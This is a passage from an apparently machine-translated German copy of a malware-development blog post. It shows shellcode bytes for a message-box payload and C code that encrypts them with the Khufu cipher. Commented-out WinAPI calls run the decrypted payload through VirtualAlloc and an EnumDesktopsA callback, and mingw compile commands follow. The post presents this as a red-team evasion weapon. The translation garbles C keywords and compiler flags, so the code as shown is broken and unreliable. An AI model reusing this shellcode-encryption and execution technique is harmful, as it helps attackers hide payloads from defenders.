  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int my_payload_len = Größe von(meine_Ladung);
  int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
  ohne Vorzeichen char gepolstert[pad_len];
  memset(gepolstert, 0x90, pad_len);
  memcpy(gepolstert, meine_Ladung, my_payload_len);

  printf("Original-Shellcode: ");
  für (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", meine_Ladung[i]);
  }
  printf("\n\n");

  khufu_encrypt_shellcode(gepolstert, pad_len);

  printf("verschlüsselter Shellcode: ");
  für (int i = 0; i < pad_len; i++) {
    printf("%02x ", gepolstert[i]);
  }
  printf("\n\n");

  khufu_decrypt_shellcode(gepolstert, pad_len);

  printf("entschlüsselter Shellcode: ");
  für (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", gepolstert[i]);
  }

  printf("\n\n");

// LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// RtlMoveMemory(mem, padded, my_payload_len);
// EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  return 0;
}

Wie üblich habe ich miau-miau Messagebox-Nutzlast in diesem Code.

Demo 2Permalink

Kompilieren Sie es (kommentieren Sie WinAPI-Funktionen und Header):

gcc -o hack3 hack3.c

Zu Demonstrationszwecken lassen Sie es auf meinem Linux-Rechner laufen:

./hack3

 

Der Verschlüsselungsschlüssel ändert sich bei jeder Ausführung des Programms:

cryptography

 

Demo 3Permalink

Unkommentierte WinAPI-Funktionen, Kompilieren für die Ausführung der Nutzlast:

x86_64-w64-mingw32-g++ hack4.c -o hack4.exe -I/usr/share/mingw-w64/include/ -s -Funktionsbereiche -fdata-Abschnitte -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fermissiv

cryptography

Wie Sie sehen können, funktioniert alles perfekt =^..^=

Zu einem weiteren Trick zur Integration des Fisher-Yates-Shuffle in meine Khufu-Implementierung zur Erzeugung eines Zufalls S-Kastenkönnen wir die deterministische khufu_generate_sbox Funktion mit einer neuen Implementierung, die eine gemischte S-Kasten. Hier sehen Sie, wie wir unseren Code Schritt für Schritt ändern können:

  • Implementieren Sie den Fisher-Yates-Algorithmus, um das sbox-Array zu mischen.
  • Ersetzen Sie die deterministische S-Box Generierungslogik mit dem Fisher-Yates-Shuffle, um eine zufällige Permutation der Daten zu erzeugen S-Box für jede Runde.
  • Verwenden Sie srand(time(NULL)) oder einen anderen kryptographisch sicheren RNG, um die Zufälligkeit für Forschungszwecke zu gewährleisten.

letzte WortePermalink

Die S-Kasten ist das Herzstück vieler Blockchiffren, da es die entscheidende Verwirrungskomponente darstellt, die für eine sichere Verschlüsselung erforderlich ist. Eine schlecht entworfene oder vorhersehbare S-Kasten kann eine Chiffre anfällig für Angriffe machen, während eine starke S-Kasten gewährleistet Robustheit und Widerstand gegen fortgeschrittene Kryptoanalyse.

Ich hoffe, dass dieser Beitrag für Malware-Forscher und C/C++-Programmierer nützlich ist, das Bewusstsein der Blue Teamer für diese interessante Shuffle-Technik schärft und dem Arsenal der Red Teamer eine neue Waffe hinzufügt.

Fisher-Yates_shuffle
Malware and cryptography 1
source code in githu

Quelle

Kommentar verfassen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

lade-bild
London, GB
2:05 pm, Jan. 16, 2025
Wetter-Symbol 9°C
L: 9° | H: 10°
broken clouds
Luftfeuchtigkeit: 84 %
Druck: 1033 mb
Wind: 6 mph WSW
Windböe: 12 mph
UV-Index: 0
Niederschlag: 0 mm
Wolken: 75%
Regen Chance: 0%
Sichtbarkeit: 10 km
Sonnenaufgang: 7:58 am
Sonnenuntergang: 4:21 pm
TäglichStündlich
Tägliche VorhersageStündliche Vorhersage
Today 9:00 pm
Wetter-Symbol
9° | 10°°C 0 mm 0% 4 mph 91 % 1034 mb 0 mm/h
Tomorrow 9:00 pm
Wetter-Symbol
3° | 7°°C 0 mm 0% 4 mph 96 % 1035 mb 0 mm/h
Sa. Jan. 18 9:00 pm
Wetter-Symbol
2° | 7°°C 0 mm 0% 3 mph 87 % 1033 mb 0 mm/h
So. Jan. 19 9:00 pm
Wetter-Symbol
1° | 6°°C 0 mm 0% 6 mph 90 % 1023 mb 0 mm/h
Mo. Jan. 20 9:00 pm
Wetter-Symbol
5° | 9°°C 0 mm 0% 7 mph 96 % 1022 mb 0 mm/h
Today 3:00 pm
Wetter-Symbol
9° | 9°°C 0 mm 0% 3 mph 84 % 1033 mb 0 mm/h
Today 6:00 pm
Wetter-Symbol
6° | 8°°C 0 mm 0% 4 mph 87 % 1033 mb 0 mm/h
Today 9:00 pm
Wetter-Symbol
5° | 6°°C 0 mm 0% 4 mph 91 % 1034 mb 0 mm/h
Tomorrow 12:00 am
Wetter-Symbol
4° | 4°°C 0 mm 0% 3 mph 96 % 1034 mb 0 mm/h
Tomorrow 3:00 am
Wetter-Symbol
4° | 4°°C 0 mm 0% 4 mph 96 % 1034 mb 0 mm/h
Tomorrow 6:00 am
Wetter-Symbol
3° | 3°°C 0 mm 0% 3 mph 95 % 1035 mb 0 mm/h
Tomorrow 9:00 am
Wetter-Symbol
3° | 3°°C 0 mm 0% 3 mph 95 % 1035 mb 0 mm/h
Tomorrow 12:00 pm
Wetter-Symbol
7° | 7°°C 0 mm 0% 4 mph 75 % 1035 mb 0 mm/h
Name Preis24H (%)
Bitcoin(BTC)
€96,316.47
0.07%
Ethereum(ETH)
€3,235.54
1.03%
XRP(XRP)
€3.21
14.90%
Fesseln(USDT)
€0.97
-0.01%
Solana(SOL)
€203.93
7.27%
Dogecoin(DOGE)
€0.368745
3.13%
USDC(USDC)
€0.97
0.00%
Shiba Inu(SHIB)
€0.000021
1.86%
Pepe(PEPE)
€0.000017
2.82%
Peanut das Eichhörnchen(PNUT)
€0.61
8.00%
Nach oben scrollen